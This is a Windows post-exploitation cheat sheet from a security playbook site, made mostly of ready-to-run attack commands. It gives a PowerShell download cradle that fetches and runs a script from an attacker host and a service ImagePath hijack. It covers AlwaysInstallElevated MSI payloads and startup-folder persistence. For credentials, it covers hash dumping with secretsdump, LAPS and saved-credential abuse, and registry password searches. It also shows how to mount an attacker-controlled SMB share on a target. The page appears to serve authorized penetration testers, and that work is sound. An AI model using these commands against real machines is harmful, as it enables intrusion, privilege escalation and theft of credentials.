notmalicio.us
03 · post-exploitation

Windows Post-Exploitation

Enumeration for initial shell on Windows. For additional Active Directory attacks, see the Active Directory Reference page.

14 sections · 6 min read · ~/playbook/windows

Basic Enumeration

Whoami

Whoami: whoami /all

Checking privileges: whoami /priv

Checking groups: whoami /groups

  • Mandatory Level/High Mandatory Level --> Possible UAC Bypass

Net Commands

These are useful but they are NOT opsec friendly.

User information:

net user USER

Group information:

net localgroup administrators

Situational Awareness

Check working directory: pwd

Processes

Check tasks: tasklist OR Get-Process

Host Info

Check hostname: hostname

General system information: systeminfo

Finding drives on host:

wmic logicaldisk get deviceid, volumename, description

Networking

Show current network configurations: ipconfig

Identify what the current network processes are: netstat -ano

Command History

Read PowerShell history:

  • Command Prompt
type %USERPROFILE%\appdata\roaming\microsoft\windows\powershell\psreadline\ConsoleHost_history.txt
  • PowerShell version:
type $env:USERPROFILE\appdata\roaming\microsoft\windows\powershell\psreadline\ConsoleHost_history.txt

Enumeration Scripts

PowerUp

If access to PowerShell is possible, host the newest PowerUp script and run the following commands on the target box's PowerShell session:

  • Download and load script into memory using a standard download cradle
iex(new-object net.webclient).downloadstring('http://LHOST/PowerUp.ps1')
  • Execute all checks:
Invoke-AllChecks

Seatbelt

Seatbelt is a GhostPack tool that does "safety checks" for general security misconfigurations.

Perform all checks: seatbelt /all

Source: https://github.com/GhostPack/Seatbelt

Access Checking

The main ways to check access are accesschk.exe from Sysinternals and icacls. Accesschk is a little more readable but either will work.

Icacls

Icacls output meaning:

Letter Meaning
F Full Access
M Modify Access
RX Read & Execute Access
R Read-Only Access
W Write-Only Access

Checking access of a directory: icacls DIRECTORY

Checking access of a file: icacls FILENAME

Icacls can also be used to grant access to files with the /grant flag

Accesschk

Access checking for services: accesschk.exe /accepteula -uwcqv "Authenticated Users" *

  • Accepteula --> just easier to do upfront
  • This will check access for the given group (Authenticated Users) on all services
  • Authenticated Users can be subbed out for the username of the current shell for more information
  • Look for editing type accesses (i.e. CHANGE)

Access checking for directories: accesschk.exe /accepteula -uwdq "DIRECTORYNAME"

  • Alternatively, you can just try writing a file there

Access checking a registry key: accesschk.exe /accepteula -uvwqk REGISTRYPATH

  • Look for things like KEY_ALL_ACCESS that indicate writable of the keys

Access checking a file: accesschk.exe /accepteula -quvw FILENAME

Services

Querying and modifying services

  • With sc
    • Enumerate all services: sc query
    • Enumerate a specific service: sc qc SERVICENAME
    • Editing a service: sc config SERVICENAME
  • With admin privs and PowerShell
    • List all services: Get-Service -ComputerName COMPUTERNAME | select name
  • With net
    • Start a service: net start SERVICENAME

Vulnerable service hunting

  • Look for SERVICE_START_NAME having the value of LocalSystem or another higher privileged user
  • Check editing ability (i.e. with accesschk from Sysinternals)
    • Can the service itself be edited?
    • Can the binary from the service binary path be overwritten?
  • If the path for the service executable is unquoted --> Could be vulnerable to an unquoted service path attack
    • Example: If the name of a path for a service is C:\Very Secure\Such Path\service.exe, then an executable following the pattern C:\Very Secure\Such.exe could replace the real service when the path is called
    • This is due to the way Windows matches service names. In the example, the Such.exe path matches the pattern first
  • Check the registry entries for the services
    • If in a group that has write access (i.e. KEY_ALL_ACCESS), then the registry key may be overwritten for the key in the HKLM\System\CurrentControlSet\Services\SERVICENAME
    • Overwrite the registry key: reg add HKLM\SYSTEM\CurrentControlSet\services\SERVICENAME /v ImagePath /t REG_EXPAND_SZ /d NEWFILE /f
    • Restart the service: net start SERVICENAME

Registry Persistence & Privilege Escalation

AutoRuns

Check the AutoRun HKLM entry content: reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

AlwaysInstallElevated

  1. Query the AlwaysInstallElevated keys
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  1. If these keys have AlwaysInstallElevated set to 1, then they will run the installer with elevated privileges
  2. Create an msi payload (msfvenom works for this)
  3. Execute payload with msiexec: msiexec /quiet /qn /i PAYLOAD

Password Attacks

Plaintext Password Hunting

Search history if available

Sift through configuration files for passwords/hashes

  • See Assorted Techniques for regexes to do password hunting

Search the registry

reg query HKLM /f password /t REG_SZ /s

LAPS

If access to a LAPS is obtained, run the following in PowerShell to read local admin password:

Get-ADComputer TARGET -property 'ms-mcs-admpwd'

Can also be accomplished externally with creds if LDAP is open:

crackmapexec ldap TARGET -u USER -p "PASS" -M laps

Cmdkey SaveCreds

Check for saved creds: cmdkey /list

If any creds belong to higher privileged users, runas with the saved creds: runas /savecred /user:USERNAME FILE

Secretsdump with SAM & SYSTEM

Dump hashes with the SAM and SYSTEM files:

  1. Copy the SAM and SYSTEM files
  2. Usage: impacket-secretsdump -sam SAM -system SYSTEM local

Password Manager Attacks

KeePass Attacking with KeeFarce and KeeThief

Cracking a KeePass vault with John and Hashcat

Scheduled Tasks

Query for a list of all scheduled tasks:

schtasks /query /fo list /v

Watch for regularly executed processes that could be running at a higher privilege

GUI Tricks

Downloading Files with Notepad

  • Open notepad --> File --> Open --> In the File name box, enter the URL to the file --> open

If a GUI program is running at a higher privilege

  • Try opening a file in the program
  • When the file explorer pops up, enter the following in the file path at the top: file://c:/windows/system32/cmd.exe
  • This could invoke cmd such that it inherits the higher privileges

Startup Folder

Check the permissions of the startup folder: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

If permissible, add a LNK to desired payload in the startup folder:

mklink /H "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\payload.lnk" PAYLOAD

Accessing Shares

Using smbmap:

smbmap -u USERNAME -p PASSWORD -H IPADDR

Using smbclient:

smbclient -U 'USERNAME%PASSWORD' \\\\IPADDR\\SHARENAME

With Shares

  • SMB Client (Impacket): smbserver.py share .
  • Pair with: copy \\LHOST\share\FILENAME
  • Connecting to a share from PowerShell
    • In which ANYUSER and ANYPASS can be whatever you make up and LHOST is the Kali box
      • In Kali: impacket-smbserver share $(pwd) -smb2support -user ANYUSER -password ANYPASSWORD
      • On Target:
        • $pass = convertto-securestring 'ANYPASSWORD' -AsPlainText -Force
        • $cred = new-object System.Management.Automation.PSCredential('ANYUSER', $pass)
        • New-PSDrive -Name kalishare -PSProvider FileSystem -Credential $cred -Root \\LHOST\share
        • cd kalishare:

Kernel Exploits

Note: Kernel exploits are inherently unstable and should be a last resort.

Use WES-NG (Windows Exploit Suggester) with the systeminfo file:

./wes.py SYSTEMINFOFILE --exploits-only | tee ../wes-TARGET.wes

Finding Defender Exclusions

Reg query for Defender exclusions:

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

Browser Based Enumeration

Firefox

Use firepwd to extract information

Additional Resources

Fuzzy Security: https://www.fuzzysecurity.com/tutorials/16.html

esc
↑↓ navigate↵ openesc close